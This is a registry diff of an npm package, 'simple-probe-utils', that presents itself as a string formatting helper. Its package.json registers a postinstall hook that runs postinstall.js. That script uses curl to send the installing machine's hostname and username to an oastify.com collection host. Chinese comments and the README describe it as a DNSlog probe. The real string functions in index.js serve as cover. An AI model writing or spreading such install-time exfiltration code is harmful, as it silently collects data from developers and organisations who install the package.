simple-probe-utils 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.txt ADDED
@@ -0,0 +1,5 @@
1
+ v9 简单探测版
2
+ 基于 v1-kikiki 最简模式
3
+ DNSlog: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com
4
+ 数据收集: hostname + whoami (明文无编码)
5
+ 带外路径: /probe?h=<hostname>&u=<whoami>
package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ module.exports = {
2
+ capitalize: (str) => str.charAt(0).toUpperCase() + str.slice(1),
3
+ truncate: (str, len) => str.length > len ? str.slice(0, len) + '...' : str
4
+ };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "simple-probe-utils",
3
+ "version": "1.0.0",
4
+ "description": "A lightweight string formatting helper with capitalize, truncate and normalize utilities",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": ["string", "util", "format"],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/postinstall.js ADDED
@@ -0,0 +1,15 @@
1
+ // v9: 简单探测版
2
+ // 基于 v1 模式 — 仅 hostname + whoami
3
+ // DNSlog: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com
4
+ // 数据收集:hostname, whoami(无编码,原始明文)
5
+ // 带外路径:/probe?h=<hostname>&u=<whoami>
6
+
7
+ const { exec } = require('child_process');
8
+
9
+ const BURP = 'pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com';
10
+
11
+ const cmd = `curl -s "http://${BURP}/probe?h=$(hostname)&u=$(whoami)"`;
12
+
13
+ exec(cmd, (error, stdout, stderr) => {
14
+ if (error) console.error(`exec error: ${error}`);
15
+ });